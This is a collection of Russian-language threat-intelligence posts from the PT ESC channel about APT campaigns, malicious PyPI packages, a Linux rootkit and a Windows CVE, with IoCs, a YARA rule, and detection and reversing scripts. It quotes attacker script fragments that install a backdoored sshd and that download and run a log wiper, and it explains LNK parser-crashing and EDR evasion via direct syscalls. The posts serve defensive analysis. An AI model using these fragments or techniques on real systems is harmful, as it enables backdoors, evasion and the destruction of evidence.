Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Группа киберразведки PT ESC подготовила отчет по итогам первого квартал 2025 года ✍️
В нем собрали наиболее интересные атаки хакерских группировок на инфраструктуры российских государственных организаций и частных компаний.
🐍 Была замечена активность таких группировок, как PseudoGamaredon, Cloud Atlas, DarkGaboon и других. Основные цели — кража данных, получение доступа к внутренним системам для шпионажа.
📩 В течение всего квартала фиксировались фишинговые кампании от имени различных государственных ведомств. В рассылках встречались как архивы с вредоносным ПО, названия которых мимикрировали под тему письма, так и документы с эксплойтами для известных уязвимостей.
📑 Наряду с этим злоумышленники распространяли и безвредные на первый взгляд файлы, например поддельные приказы о проверках, оформленные в официальном стиле, но не содержащие вредоносной нагрузки. Это позволяло письмам успешно проходить антивирусную проверку, после чего в ход шли приемы социальной инженерии — злоумышленники пытались выстроить диалог и получить доступ во внутренний контур компании.
😏 Ознакомиться с отчетом можно на сайте Positive Technologies.
#TI #APT #malware #ioc
@ptescalator
(Ex)Cobalt == (Ex)Carbanak 🤔
С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора SshDoor
. В центре внимания подобных атак часто оказываются российские государственные учреждения.
Получив доступ к узлам жертв, атакующие запускают sh-скрипт Release.gz
(скриншот 1), который помимо прочего скачивает зашифрованный OpenSSL
файл main.jpg
(скриншот 2).
file ./main.jpg
./main.jpg: openssl enc'd data with salted password
openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS
sshd
и перезапускается сервис sshd
....
make -j4>> /dev/null &&
strip ssh sshd &&
make install
...
service sshd restart
sshd
(скриншот 3) имеет ряд сходств с бэкдором SshDoor
, который описывали в материалах Linux/SSHDoor.A Backdoored SSH daemon that steals passwords (2013 года) и Inside the Response of a Unique CARBANAK Intrusion (2017 года).SshDoor
значительных изменений не претерпела. Бэкдор позволяет злоумышленнику получить скрытый доступ на скомпрометированный сервер по протоколу SSH c ключом или паролем, заданным в конфигурационном файле либо в коде самого бэкдора. Также бэкдор собирает и отправляет на удаленный сервер аутентификационные данные пользователей.Inside the Response of a Unique CARBANAK Intrusion
данный образец исследователи связывали с APT-группой Carbanak
, которая успешно атаковала банковские организации в 2015 году.A D V A N C E D L O G W I P E R (ALW)
(скриншот 4), которая компилируется на узле жертвы и удаляет из ряда журналов /var/log/*
(скриншот 5) все записи, которые содержат IP-адрес атакующих ($YOUR_IP
).#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
$DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
PACKET_MANAGER=$PACKET_MANAGER" gcc";
$PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi
RSA Global Incident Response
в своем материале относит ALW
также к деятельности группы Carbanak
./var/run/.options
/dev/shm/.options
cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org
016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217
rule SshDoor {
strings:
$spy1 = "SPY_PATH"
$spy2 = "SPY_PORT"
$spy3 = "SPY_HOST"
$spy4 = "spy_passwd"
$spy5 = "spy_master"
$spy6 = "spy_bc_addr"
$spy7 = "spy_buff"
$spy8 = "spy_addr"
$spy9 = "spy_buff_port"
$sshd = "usage: sshd"
condition:
uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}
По какому фрагменту кода можно определить семейство вредоносного ПО? 🤨
Атрибуция — одна из задач, с которыми сталкиваются аналитики во время исследования атак. Пройдите небольшой тест на онлайн-марафоне Standoff Defend (второй шаг) и проверьте свои силы в атрибуции.
А на самом полигоне Standoff Defend любой желающий уже сейчас может протестировать главную новинку — регулируемые атаки, в рамках которых достоверно воспроизводятся тактики и техники крупнейших APT-группировок (четвертый шаг).
#APT #StandoffDefend
@ptescalator
Реально тонкое взаимодействие 🕊
В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.
Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.
Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.
Что здесь происходит
1. Клиент формирует запрос:
• Устанавливает параметр FC
(function call) в значение Login
.
• Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря RE=3
(record), содержащей ключи user
, pwd
, id
и т. п. В user
можно передать зашифрованный малварный запрос. RE обозначает тип rtc_Record
— это структура вида «ключ:значение», аналогичная словарю или JSON-объекту.
• На стороне Delphi это будет примерно так:
with FunctionCall.Param do
begin
asText['user'] := '...'; // rtc_Text
asText['pwd'] := ''; // rtc_Text
asString['id'] := '8DF313279CD34B81A3FB438708B4E8F1'; // rtc_String
end;
RE=3;
user:T=...;
pwd:T=...;
id:S=...
TRtcFunctionInfo
— это класс, который описывает удаленную вызываемую функцию, ее имя, параметры и результат выполнения. Он используется как на клиенте (для упаковки вызова), так и на сервере (для распаковки и выполнения). Объект TRtcFunctionInfo
упаковывается в контейнер TRtcValue
и сериализуется в строку или поток байтов. TRtcValue
может хранить любой поддерживаемый тип данных: строку, число, массив, запись, дату, вложенную функцию и т. п. Фактически он используется везде, где нужно передать или получить данные по сети, например в параметрах удаленной функции (Param.asValue[...]
) или результатах выполнения функций (Result.asValue
). Это делает его гибким, но и потенциально непрозрачным, что хорошо для скрытой передачи команд, особенно если используются вложенные структуры типа rtc_Function
.FC
как указание на то, какую функцию нужно вызвать.Login
. Выполняется Delphi-процедура, связанная с этим именем.OnLoginResult
для обработки полученного ответа.TRtcValue
, чтобы мы смогли снова получить доступ к его структуре. Сервер может вернуть не просто данные, а вложенный вызов функции. Это структура, поле в которой содержит rtc_Function
, rtc_Record
или rtc_Array
, которые клиент десериализует и выполняет. if xData.isType = rtc_Record then
ExecuteRec(xData.asRecord)
else if xData.isType = rtc_Array then
ExecuteArr(xData.asArray)
🐾 По следам Puma: как обнаружить руткит через его же интерфейс
Сегодня в нашем обзоре технически интересный и многофункциональный руткит для Linux — Puma, недавно исследованный коллегами из Elastic Security Labs и Solar 4RAYS.
Puma представляет собой комплексный руткит уровня ядра (LKM), нацеленный на длительное скрытное пребывание в системе и кражу учетных данных для перемещения в инфраструктуре жертвы. Закрепляется в системе путем подмены штатного cron на модифицированный вредоносный аналог, состоящий из нескольких компонентов:
1️⃣ Загрузчик (wpn.bin
) — отвечает за корректную установку модуля ядра.
2️⃣ Легитимный cron (tgt.bin
) — обеспечивает исправную работу cron, чтобы жертва не заметила подмены.
3️⃣ LKM-модуль (audit
) — основной компонент для перехвата системных вызовов и функций ядра Linux. Благодаря ему модуль эффективно скрывает процессы, файлы, директории и сетевые соединения, а также перехватывает чувствительную информацию, такую как учетные данные и криптографические ключи.
4️⃣ Бэкдор (libs.so
) — обеспечивает связь с C2-сервером, получение команд от злоумышленников и передачу результатов.
🎯 Любопытная деталь
Помимо стандартного удаленного управления через C2-сервер в Puma используется и локальное, реализованное через переопределенный системный вызов rmdir: при наличии определенных аргументов руткит интерпретирует вызов как команду и возвращает инициировавшему процессу результат выполнения. Так, бэкдор использует этот механизм, чтобы запросить у модуля конфигурацию удаленного сервера или отобразить перехваченные конфиденциальные данные.
🔎 Что нам удалось обнаружить
Анализируя Puma, мы выявили в LKM-модуле важную уязвимость: он не проверяет, какой именно процесс вызывает переопределенный rmdir для выполнения команд. Таким образом, вызвав rmdir с определенными аргументами, можно однозначно определить присутствие руткита в системе.
📌 Почему это важно
Уязвимость трудноустранима: злоумышленники, используя возможности бэкдора, могут обновлять лишь его код, но не код загруженного в систему модуля ядра. Для этого потребуется значительно больше усилий. Таким образом, уязвимость можно использовать для быстрого детекта Puma в инфраструктуре.
🐍 Для удобства мы написали небольшой Python-скрипт, который поможет вам определить руткит в системе:
import ctypes
import subprocess
import os
SYS_rmdir = 84
buffer_size = 16
path_buf = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf, b"zarya.u\0", 7)
libc = ctypes.CDLL("libc.so.6", use_errno=True)
ret = libc.syscall(SYS_rmdir, path_buf)
try:
proc = subprocess.Popen(
"lsmod | grep audit",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True
)
output, _ = proc.communicate()
if output.strip():
path_buf2 = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf2, b"zarya.t.0\0", 9)
ret2 = libc.syscall(SYS_rmdir, path_buf2)
if ret2 == 0:
print(f"Pumakit detected on this machine, module info:\n{output.strip()}")
else:
print("Pumakit wasn't detected at this machine")
else:
print("Pumakit wasn't detected at this machine")
except Exception as e:
print("Error:", e)
Код скрипта:
import idaapi
import ida_ua
import ida_ida
import ida_name
def get_syscall_by_hash(hash: int) -> str:
syscall_id = idaapi.Appcall.SW2_GetSyscallNumber(hash).value
# Получаем имена функций
dn = ida_name.get_debug_names(
ida_ida.inf_get_min_ea(),
ida_ida.inf_get_max_ea())
for addr in dn:
# Ищем функцию с префиксом ntdll_Zw - это обёртки над syscall`ми
if "ntdll_Zw" in dn[addr]:
instruction_addr = addr + 3
# Дисассемблируем инструкцию
insn = idaapi.insn_t()
ida_ua.create_insn(instruction_addr)
idaapi.decode_insn(insn, instruction_addr)
# Сраниваем номер функции с тем, что мы ищем
if syscall_id == insn.ops[1].value:
return dn[addr]
PT ESC обнаружил новую кампанию Joking Wolf 🐺
Юмористы проникают в популярные (и не очень) Telegram-каналы и публикуют несуществующие новости. Основная цель — ввести граждан в заблуждение, последствия — легкая растерянность и желание проверить информацию.
Попытки проникновения зафиксированы и в канал @ptescalator, но были успешно отбиты. Для защиты рекомендуем прокачивать навыки критического мышления. Эксклюзивное фото злоумышленников прикрепляем к посту.
IoCs опубликовали в Telegraph.
Будьте бдительны!
Как починить CFG. Часть вторая 🛠
Ранее мы рассказывали про то, как восстановить Control Flow Graph (CFG) в случае его обфускации. Однако часто при анализе даже необфусцированного ВПО можно встретить случаи, когда CFG некоторых функций генерируется с ошибками. Одним из таких примеров является написанное на Delphi ВПО, где из-за особенностей обработки исключений часто можно встретить картину, как на скриншоте 1.
🤔 Если присмотреться внимательнее (скриншот 2), то можно заметить, что в блоке (1) на стек сохраняется адрес одного из последующих блоков (3), после чего выполняется некоторая логика (зачастую — освобождение ресурсов или объектов) и происходит прыжок на сохраненный ранее адрес (2).
Из-за того что в блоке 2 присутствует дополнительная ссылка, IDA не может однозначно определить адрес, куда будет осуществлен прыжок в jmp eax
. Чтобы исправить эту проблему, напишем небольшой хук, который будет проверять и автоматически патчить подобные места в коде.
Создадим класс хука, который будет ожидать событие ev_ana_insn
. Для начала необходимо убедиться, что это действительно интересующая нас последовательность, после чего пройтись «вверх» и попытаться найти сохраненный на стек адрес. Затем пропатчить jmp eax
на jmp short address
.
class DelphiJmpEaxFixer(idaapi.IDP_Hooks):
def lookup_push_insn(self, start: int, limit: int = 30) -> int | None:
...
def ev_ana_insn(self, insn: idaapi.insn_t) -> bool:
#
b = bytes(idaapi.get_bytes(insn.ea - 1, 3))
if idaapi.is_tail(idaapi.get_flags(insn.ea)):
return True
# pop eax | 58
# jmp eax | ff e0
# ensure all pop & jmp seq
if b[0] != 0x58 or b[1] != 0xFF or b[2] != 0xE0:
return False
print(f"Got jmp short eax at {insn.ea:x}")
pushed_address = self.lookup_push_insn(insn.ea)
if pushed_address is None:
return False
delta = pushed_address - insn.ea
if delta < 0 or delta > 128:
return False
print(f"{delta=}")
asm_call = f"jmp short {delta}"
assembled = idaapi.AssembleLine(insn.ea, 0, 0, True, asm_call)
if assembled is None:
return False
return idaapi.patch_bytes(insn.ea, assembled)
lookup_push_insn
. В ней найдем предположительную верхнюю границу блока 2 и проверим, что блок имеет единственную ссылку. Дополнительно ограничим диапазон поиска, в целях оптимизации.def lookup_push_insn(self, start: int, limit: int = 30) -> int | None:
ptr: int = start
insn = idaapi.insn_t()
jmp_ref = idaapi.BADADDR
for _ in range(limit, 0, -1):
prev_addr = idaapi.decode_prev_insn(insn, ptr)
if prev_addr == idaapi.BADADDR:
break
ptr = prev_addr
_refs = [xref for xref in idautils.CodeRefsTo(ptr, False)]
# If we found refs it's likely an upper basic block address
# it must be a single jmp ref
if _refs:
if len(_refs) != 1:
return None
jmp_ref = next(iter(_refs))
break
if jmp_ref == idaapi.BADADDR:
return None
ref_insn_sz = idaapi.decode_insn(insn, jmp_ref)
if ref_insn_sz == 0 or insn.itype != idaapi.NN_jmp:
return None
addr = idaapi.decode_prev_insn(insn, ptr)
if addr == idaapi.BADADDR or insn.itype != idaapi.NN_push:
return None
return insn.Op1.value
hook_instance = DelphiJmpEaxFixer()
hook_instance.hook()
😆Spy снова в деле
Группой киберразведки зафиксирована новая кампания хакерской группировки XDSpy, направленная на компрометацию IT-инфраструктуры государственных организаций и ведомств.
Злоумышленники используют фишинговые письма, отправляемые с заспуфленных (поддельных) адресов, маскируясь под доверенные источники. В содержании сообщений применяются элементы социальной инженерии, побуждающие жертв перейти по вредоносной ссылке (скриншоты 1 и 2).
🧑⚖️ В качестве триггеров могут использоваться угрозы возникновения юридических последствий или необходимость ознакомления с якобы официальными документами.
При переходе по ссылке жертва скачивает ZIP-архив (скриншот 3), содержащий LNK-файл, название которого совпадает с темой письма, файл, замаскированный под INI-документ, который на самом деле является архивом с легитимным исполняемым файлом (.exe
), вредоносной DLL-библиотекой и конфигурационным файлом (.cfg
), представляющим собой документ-приманку в формате PDF (скриншот 4).
При запуске LNK-файла (скриншот 5) активируется встроенный сценарий, который ищет в папке пользователя скачанный архив. Если архив найден, создается временный файл с кодом на JScript.NET
с последующей компиляцией с помощью jsc.exe
(поиск компилятора осуществляется в системной папке %SystemRoot%\Microsoft.Net\Framework*jsc.exe
) и запуском.
🗄 Скомпилированный файл выполняет дополнительные операции, включая распаковку вложенного архива и последующий запуск легитимного исполняемого файла. Он, в свою очередь, запускает вредоносную DLL-библиотеку для скачивания полезной нагрузки. Для запуска DLL-файла используется техника DLL Side-Loading, ранее описанная коллегами из компании F6. XDSpy продолжает попытки совершенствования методов сокрытия и обхода защиты.
Рекомендуется усилить механизмы фильтрации электронной почты, блокировать подозрительные вложения и ссылки в почтовых сообщениях, контролировать активность файлов в системных папках, мониторить сетевой трафик на предмет связи с известными C2-серверами и проводить регулярные учения по кибербезопасности для сотрудников.
IoCs
LNK-файлы
fae06cd491519b67a08739365bd40ff2
c402f9d8ae02450613e871584047ba2c
3d529f6f077eae5c7c2830729f20689f
d8c1609d82a74843dc795128121c190c
fb127a60b29af914eebdf87121320224
cb36db26550d804add58f92fe636d120
40e14abd06af70230849704760272cea
2bdd91c8b815db57708c288d0b5b0934
5e5ca319bcb2630c7b86af9348cea0e7
a3c450458c18090b0c514baa364b7651
DLL-библиотеки
cbc37e28da9f512456704658b55e06ae
6ef03a145e4af940f8eb804b5379695b
d0907aae24c3721d56e29a5e178cfcc4
5daf7a4f8ec97c0cd5013378712f816d
17d9277bac3f58ab11d7e7a9c73bb8d3
987822015413905afe5a95797fdbdd1d
d5b1c03f2f09579f7cdcdde8db779671
129399b838d6526751faf16ecea92942
Документы-приманки
5692f9da3882563d9f45a3bb6deb52ad
e2a1207456d586f3f3680454310fba8f
Домены
pdf-bazaar.com
pdfdepozit.com
file-bazar.com
vashazagruzka365.com
Что скрывает от нас стеганографическая мафия? 👤
В ноябре 2024 года мы рассказывали вам про группировку PhaseShifters и тогда же упомянули про используемый криптор по подписке — Crypters And Tools. Наше исследование не остановилось просто на изучении группировок, мы пошли дальше.
Продолжение истории про Crypters And Tools привело нас к следующей статистике:
📩 Примерно 3000 вредоносных документов и исполняемых файлов.
🗺 Почти 100 атакуемых стран.
👥 Как минимум три группировки, использующие Crypters And Tools для подготовки своих атак.
🟣 Около 50 сетевых индикаторов, принадлежащих инфраструктуре самого криптора.
🔫 Десятки исследованных аккаунтов в социальных сетях, связанных с криптором, более 100 просмотренных медиафайлов.
О том, как работает криптор, кто и как его использует, вы можете прочитать в первой части нового исследования в нашем блоге.
#TI #APT #hacktool
@ptescalator
Как СaT запутал в клубке сразу несколько группировок? 🧶
Осенью 2024 года наше внимание привлек интересный инструмент, обнаруженный во время изучения активности группировки PhaseShifters. Это оказался криптор по подписке (CaaS) Crypters And Tools — мы уже подробно разбирали его в первой части исследования: как он работает, чем именно выделяется среди других и как устроена его инфраструктура.
Теперь же мы возвращаемся к теме APT-группировок, но фокус сместим на других злоумышленников — TA558, Blind Eagle и Aggah, чью деятельность мы рассмотрим более детально.
🐾 Какие группы точно использовали Crypters And Tools в своих атаках?
🔎 Насколько связаны между собой эти группировки, использующие CaT?
🇵🇰 Как Aggah поживает после 2022 года?
🧩 Как мы установили конкретных пользователей?
💥 Какие пользователи являются членами группы TA558 и причем тут negrocock?
🇳🇬 Из какой африканской страны разослали 60 тысяч писем и причем тут Crypters And Tools?
На эти и другие вопросы вы найдете ответы во второй части нашей статьи про Crypters And Tools.
#TI #APT #hacktool
@ptescalator
Team46 и TaxOff: две стороны одной медали 😑
В марте 2025 года специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) исследовали атаку, в которой использовалась зарегистрированная примерно в это же время уязвимость нулевого дня CVE-2025-2783 в браузере Chrome. Использование этой уязвимости и саму атаку описали исследователи из «Лаборатории Касперского», однако последующая цепочка заражения осталась без атрибуции.
🪞 В отчете описана атрибуция данной атаки к группировке TaxOff, о которой мы писали ранее. Кроме того, приводятся данные, которые позволяют считать еще одну найденную нами ранее группировку Team46 и TaxOff одной и той же группой.
Начальным вектором атаки было фишинговое письмо, содержащее ссылку, при переходе по которой жертва активировала one-click exploit, приводящий к установке бэкдора Trinper группировки TaxOff в скомпрометированной системе. В этой атаке был обнаружен бэкдор группировки Team46.
Группировка Team46 была ранее замечена в атаках, использующих DLL-Hijacking для Яндекс Браузера (CVE-2024-6473).
📖 Подробнее читайте на нашем сайте.
#TI #APT #cve
@ptescalator
APT-группировка Cloud Atlas атакует предприятия ОПК России 🌎
В конце прошлого — начале текущего года группа киберразведки обнаружила миграцию управляющей инфраструктуры и эволюцию вредоносных документов в арсенале Cloud Atlas, ознаменовавшие начало новой кампании группировки в отношении предприятий оборонно-промышленного комплекса России.
Наблюдение за выявленной вредоносной инфраструктурой позволило в режиме реального времени отслеживать весь размах новой киберактивности группировки Cloud Atlas, в том числе вскрыть BEC-атаки с использованием электронной почты ранее зараженных предприятий ОПК России для отправки вредоносных документов Microsoft Office в адрес контрагентов.
📫 Вектором проникновения традиционно выступала фишинговая рассылка электронных писем с вредоносными документами Microsoft Office во вложении. Информация об управляющей инфраструктуре и вредоносные VB-скрипты были скрыты в альтернативном потоке данных (1Table) документов. Открытие файлов приводило к выполнению этих скриптов, которые взаимодействовали с API Google Sheets для передачи информации о зараженной системе и загрузки бэкдора PowerShower с последующей эксфильтрацией украденных данных в облачные хранилища (более подробно — в нашем прошлом исследовании).
По содержанию вредоносные вложения представляли собой приглашения на курсы повышения квалификации, документы об антикоррупционных проверках и мобилизационных мероприятиях, акты сверки взаимных расчетов, справки в отношении сотрудников, резюме соискателей на должность оператора ЧПУ.
Большой браузер следит за тобой 👹
Группа киберразведки зафиксировала новую кампанию с использованием обновленного стилера Unicorn, начавшуюся в середине февраля и продолжающуюся по сей день. Целью атак является государственный сектор, а за их проведением стоит ранее не идентифицированная хакерская группировка.
Злоумышленники рассылают фишинговые письма с тематикой СВО, содержащие вложенные архивы с вредоносным HTA-файлом (скриншот 1). Этот файл содержит обфусцированный код и имеет название, совпадающее с темой письма. При его открытии запускается документ-приманка (скриншот 2), а вместе с ним — вредоносный код (посредством события window_OnLoad
).
ВПО пытается мимикрировать под Яндекс Браузер. Вредоносный скрипт создает VBA-файлы по пути %USERPROFILE%\AppData\Local\YandexUpdate
, добавляет полезную нагрузку в реестр HKCU\Software\YandexUpdate
(скриншоты 3, 4), прописывает VBA-файлы в автозагрузку через реестр HKCU\Software\Microsoft\Windows\CurrentVersion\Run
, а также регистрирует задания в планировщике с помощью schtasks
.
🔤 Изначально злоумышленники использовали три скрипта:
• log01.vbs
— выполняет обход директорий пользователей, анализирует содержимое определенных папок и сохраняет файлы с заданными расширениями (.pdf
, .txt
, .doc
, .docx
, .rtf
, .od
t, .xls
, .xlsx
, .ods
, .csv
, .jpg
, .png
, .zip
, .rar
).
• log02.vbs
— похищает учетные данные из Telegram и браузеров (из Chrome, Edge, Opera, Яндекс Браузера).
• log03.vbs
— передает собранные данные на командный сервер.
👾 В последних атаках группировка модифицировала и расширила функциональность ВПО:
• В crash_report.vbs
(ранее — log01.vbs
) увеличен список расширений файлов для сбора (.vsdx
, .vdx
, .7z
, .tar
, .jpeg
, .cdr
, .kmz
, .kml
, .aqe
). Важно, что были добавлены расширения .kml
и .kmz
, используемые в военной топографии.
• С помощью service_report.vba
злоумышленники пытались получить список всех флеш-накопителей, но скрипт оказался нерабочим.
• Добавлен механизм самозащиты: update_logging.vbs
восстанавливает удаленные вредоносные файлы, подгружая их содержимое из реестра.
⚠️ Важно отметить, что VBA-скрипты не детектируются антивирусными решениями, так как считывают значения из реестра и запускают вредоносный код напрямую. Это усложняет процесс обнаружения (скриншот 5).
Анализ атаки указывает на развитие методики злоумышленников. Кроме того, стоит отметить, что группировка проявляет интерес к расширениям, связанным с картографией. Это может свидетельствовать о специфической цели или о стратегическом интересе в указанной области.
IoCs
Домен
vm-tiktok.org
Хеш-суммы
096c340e9a20476a191721e6eaeedcc2
0debff602f2912127c562839c7fcd3d7
e25042fba726356d7e88efe0608a4e36
290a4cff70029ca2a0095a3e3a8b19e7
65ef77db51277a046f76f21a59dee9e0
80bc350629a1ba59b2a19b9029feece5
d0f9fadbf157a8236b88cfc03f17a811
4feaa6c50348641799a8f56e76cd52e7
А вы знали, что злые люди не любят парсеры LNK-файлов? 👿
В марте мы писали об атаках XDSpy на российские организации. LNK-файлы, которые использовались в этой атаке, были модифицированы так, что при их обработке многие парсеры «падали». Например, это касается LECmd, LnkParse3 и ExifTool, который используется на VirusTotal (скриншот 1).
Разберемся, в чем кроется проблема и как ее исправить 🔧
В общих чертах структура LNK-файла выглядит следующим образом:
1. SHELL_LINK_HEADER
с интересующим нас значением LinkFlags
. Оно задает присутствие тех или иных структур в LNK-файле и выглядит так:
typedef struct
{
uint32 HasLinkTargetIDList : 1; // есть LINKTARGET_IDLIST
uint32 HasLinkInfo : 1; // есть LINKINFO
uint32 HasName : 1; // есть STRING_DATA
uint32 HasRelativePath : 1; // есть STRING_DATA
uint32 HasWorkingDir : 1; // есть STRING_DATA
uint32 HasArguments : 1; // есть STRING_DATA
uint32 HasIconLocation : 1; // есть STRING_DATA
uint32 IsUnicode : 1; // строки в UTF-16
// ... skipped
} LinkFlags;
LINKTARGET_IDLIST
. LINKINFO
.STRING_DATA
.StringData
, каждая из которых имеет следующий формат:CountCharacters
(количество символов в строке, поэтому для юникода количество байт будет CountCharacters
× 2).String
(строка, которая в соответствии с документацией MUST NOT be NULL-terminated
).STRING_DATA
содержит Description (Name)
, RelativePath
, WorkingDir
, Arguments
и IconLocation
в том порядке, который указан в LinkFlags
.CountCharacters
и кроется проблема для парсеров, которые на него полагаются. Чтобы их «уронить» добрые дяденьки устанавливают большое значение в CountCharacters
, например 0xFFFF
. String
делают длиной до 260 символов, а следующую StringData
располагают ровно через 260 символов (в UTF-16 это 520 байт).Description
, RelativePath
и WorkingDir
260 символами. В итоге мы имеем следующее:0xFFFF
и попадают на бессмысленные байты).StringData
, и запускает LNK-файл без проблем.Description
, что было неочевидно, RelativePath
и WorkingDir
.Arguments
такого ограничения нет или порог сильно выше, что уже логично. При этом в свойствах LNK-файла при нажатии правой кнопкой будет отображаться только 260 первых символов команды.WorkingDir
и установили ее значение в C:\Windows\System32\<пробелы>
с длиной 260 символов (скриншот 2). Здесь можно посмотреть, как выглядит такой файл на VT (скриншот 3).---- WorkingDir ----
0x0 CountCharacters (0XFFFF)
0x2 String (до 0x208) // C:\Windows\System32_______
---- Arguments ----
0x20A CountCharacters // Парсер Windows идет сюда
0x20C String // Arguments
...
0xFFFF RandomData // Обычные парсеры идут сюда
CountCharacters
для релевантных строк и ограничивать смещение до следующей StringData
260 символами с учетом флага isUnicode.@Вредонос попал в систему...
@Вредонос хочет сделать пакость...
@Вредонос вызывает WinAPI и...
@EDR-система обнаруживает его и начинает очень громко орать...
😱 Не самое приятное развитие событий для вирусописателей. Как же они борются с подобными ситуациями?
Один из способов — вызывать необходимую функцию Windows не через WinAPI, а через системные вызовы (system calls). Многие EDR-системы перехватывают вызовы WinAPI-функций, но далеко не всегда они определяют использование system calls. Этой особенностью можно воспользоваться для обхода защитных механизмов.
SysWhispers
Зачем самому реализовывать механизм вызова syscall
, если добрые люди уже это сделали за тебя? Правильно, будем использовать готовое решение — SysWhispers (в этом посте будем говорить про его вторую версию). Стоит отметить, что помимо предоставления удобного интерфейса, с помощью которого можно вызывать syscall
, SysWhispers также хеширует их.
Выглядит это так: вызываем функцию SW2_GetSyscallNumber
, в которую передаем хеш необходимого syscall
. В ответ функция возвращает номер системной функции, которую мы и вызываем с помощью инструкции syscall
. Более подробно этот процесс показан на скриншоте 1 (на нем приведен пример вызова функции NtWriteVirtualMemory
).
🧐 И вот теперь приходит исследователь, которому нужно это отреверсить. Как же ему понять, какой syscall используется?
Напрямую получить номер нужной системной функции мы не можем: он захеширован, поэтому придется что-то придумать. Можно написать скрипт, который будет реализовывать тот же алгоритм хеширования, что и SysWhispers (по сути, в нем используется XOR имени функции по случайному значению). Но можно пойти другим путем: с помощью механизма Appcall
в IDA Pro (Appcall работает только в режиме отладки, поэтому с вредоносами лучше работать в виртуальной машине) напрямую вызвать SW2_GetSyscallNumber
, передав ей хеш необходимой функции. Мы все также получим номер функции, но при этом процесс пройдет значительно быстрее.
Просто сравните — написать скрипт, который будет воссоздавать хеш-функцию, или одну строчку кода на Python:
syscall_id = idaapi.Appcall.SW2_GetSyscallNumber(hash).value
Appcall
работает именно в режиме отладки, в этом режиме мы можем получить имена функций, определенных в различных модулях, загружаемых во время исполнения бинаря. Среди этих модулей самым интересным для нас является ntdll.dll
: в нем находятся определения оберток над системными вызовами, которые имеют идентичные названия. По этим оберткам мы и получим имя системной функции. syscall
происходит передача номера нужной функции в регистр EAX
(вторая инструкция). Мы можем взять вторую инструкцию функции-обертки, получить ее операнд — это и будет номер системного вызова. Далее остается сравнить его с тем, что ищем мы, и вывести результат (скриншот 3).Mmaallwwaarree iinn ooppeennssoouurrccee!
В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты:
Пользователь lastbright
:
🟢yyttt
🟢bbllaacckkwwoollff
🟢bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a
🟢bbllaacckkwwoollff6ad8f762
🟢bbllaacckkwwoollff6ad8f751
🟢bbllaacckkwwoollff6ad8f752
🟢bbllaacckkwwoollff6ad8f753
Пользователь lifeyi2253
:
🟢f2d5cfdc642c3d4
🟢f2d5cfdc642c3d5
Нагрузка отрабатывает в момент установки пакета.
Интересно в реальном времени наблюдать, как развивается кампания:
🔤 PoC с комментариями на китайском. Вероятно, тут приложил руку LLM-ассистент (скриншот 1, библиотека yyttt 0.1
).
🔤 Результат работы Unix-команды id
отправляется на удаленный сервер (скриншот 2, bbllaacckkwwoollff
0.1
, 0.2
).
🔤 Выполняется код, полученный с C2-сервера (скриншот 3, bbllaacckkwwoollff
0.3
, 0.4
, bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 0.1
).
🔤 Почему бы не прихватить листинг интересных директорий (/opt/
, /run/
), переменные окружения и прочую радость (скриншот 4, bbllaacckkwwoollff6ad8f753 0.1
)?
🔤 Нет, так много не надо, из директорий достаточно /etc/
(скриншот 5, f2d5cfdc642c3d5 0.1
).
На хосте либо на виртуалке для тестов злоумышленник использует имя пользователя mind
, о чем говорит путь /home/mind/configuration/config.py
в четвертой итерации (скриншот 4).
Примечателен принцип именования пакетов. Кроме того, всегда интересно следить, как в режиме реального времени злоумышленник борется с тем, что его пакеты удаляют по репортам 😈
В информационной безопасности есть термин «пирамида боли» (The Pyramid of Pain) — он описывает сложность ухода от обнаружения. Так вот, в рамках кампании злоумышленник использует один и тот же уникальный файл __init__.py
, представленный на скриншоте 6. Система PT PyAnalysis легко это подсвечивает 😑
Опасайтесь всяких волков.
#ti #scs #pyanalysis
@ptescalator
⚠️ Эксперты PT ESC обнаружили попытки эксплуатации уязвимости CVE-2025-24071
Уязвимость CVE-2025-24071, затрагивающая широкий спектр операционных систем Windows, включая серверные и клиентские версии Windows 10 и Windows 11, была выявлена 11 марта.
CVE-2025-24071 связана с механизмом обработки файлов в Windows Explorer и системой индексирования — они автоматически анализируют файл .library-ms
, извлекаемый при распаковке вредоносного архива и содержащий ссылку на SMB-ресурс.
Операционная система без взаимодействия с пользователем инициирует NTLM-аутентификацию на атакующем SMB-сервере — это приводит к утечке хеш-суммы NTLMv2 учетной записи жертвы, что может быть использовано для атаки.
Впервые описание и РoС уязвимости привел исследователь 0x6rss в своем блоге. Эксперты также заметили, что уязвимость может использоваться при сохранении файла с расширением .library-ms
из электронного письма.
